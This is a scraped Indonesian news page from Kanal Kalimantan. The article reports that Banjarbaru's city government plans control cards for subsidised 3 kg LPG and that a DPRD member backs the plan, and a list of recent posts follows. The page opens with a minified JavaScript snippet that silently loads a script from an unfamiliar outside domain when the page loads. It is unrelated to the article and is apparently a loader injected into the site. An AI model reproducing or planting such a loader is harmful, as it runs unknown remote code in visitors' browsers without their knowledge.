(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Dukung Rencana Penggunaan Kartu Kendali LPG 3 Kg


KANALKALIMANTAN.COM, BANJARBARU – Antisipasi kelangkaan LPG yang kerap mengakibatkan kenaikan harga, Pemerintah Kota (Pemko) Banjarbaru siap memulai langkah inovasi baru. Yakni dengan menerapkan penggunaan kartu kendali.

Wakil Wali Kota Banjarbaru, Wartono, mengatakan bahwa kartu kendali ini merupakan terobosan pemerintah agar pendistribusian LPG subsidi bisa tepat sasaran. Secara singkat ia membeberkan bahwa kartu kendali akan diberikan kepada penerima subsidi khususnya bagi keluarga tidak mampu dan pelaku usaha mikro.

Nantinya dengan adanya kartu kendali ini, pihaknya dapat memberikan keringanan bagi masyarakat yang sangat membutuhkan. Sekaligus juga memberi batasan pembelian gas 3 Kg di Banjarbaru.

“Mudah-mudahan inovasi Pemerintah Kota Banjarbaru dengan kartu kendali ini, disertai dengan kerja keras dengan dinas terkait para camat dan lurah untuk memverifikasi data keluarga miskin yang berhak menerima subsidi. Sehingga tidak ada lagi kelangkaan ataupun permainan harga di lapangan,” ujar Wartono.

 

Baca juga: MEGAH. Begini Desain The New Stadium of Banjarbaru, Ini Lokasinya

Disisi lain, Wakil Ketua Komisi II DPRD Banjarbaru, Windi Novianto mengapresiasi langkah-langkah tersebut. Menurutnya hal ini sebagai upaya dalam memperlancar distribusi gas bersubsidi.

“Kita harapkan dengan kartu kendali penyaluran lebih tepat sasaran. Pendataan diharapkan dilakukan dengan serius agar penerima LPG 3 kilogram sesuai,” kata Windi.

Legislator PDI Perjuangan ini pun juga agar proses pendataan sebaiknya dilakukan validasi yang komprehensif. Kategori penerima kartu ini pun ujarnya juga harus tepat sasaran.

“Tentu harus tepat sasaran, semisal kartu kendali diserahkan kepada penerima subsidi seperti petani, rumah tangga kurang mampu, pelaku usaha mikro kecil dan menengah di Banjarbaru,” katanya.

Terakhir, ia menekankan agar pelaku usaha di pangkalan gas yang terbukti menimbun gas dan menyusahkan masyarakat untuk diberi tindakan tegas oleh petugas berwenang.

“Tentu ini pelanggaran dan sangat menyusahkan warga yang harusnya menerimanya, kita minta agar pangkalan yang menimbun ditindak sesuai dengan aturan yang berlaku,” pungkasnya. (kanalkalimantan.com/ai)

Reporter : ai
Editor : bie


Al Ghifari

Recent Posts

Jadwal Imsakiyah Ramadhan 2026 di Kota Pontianak versi Pemerintah dan Muhammadiyah

Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadhan 1447 H jatuh… Read More

9 menit ago

Jadwal Imsakiyah Ramadhan 2026 di Lamandau versi Pemerintah dan Muhammadiyah

Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadhan 1447 Hijriah jatuh pada hari… Read More

11 menit ago

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

52 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

1 jam ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

1 jam ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

2 jam ago

This website uses cookies.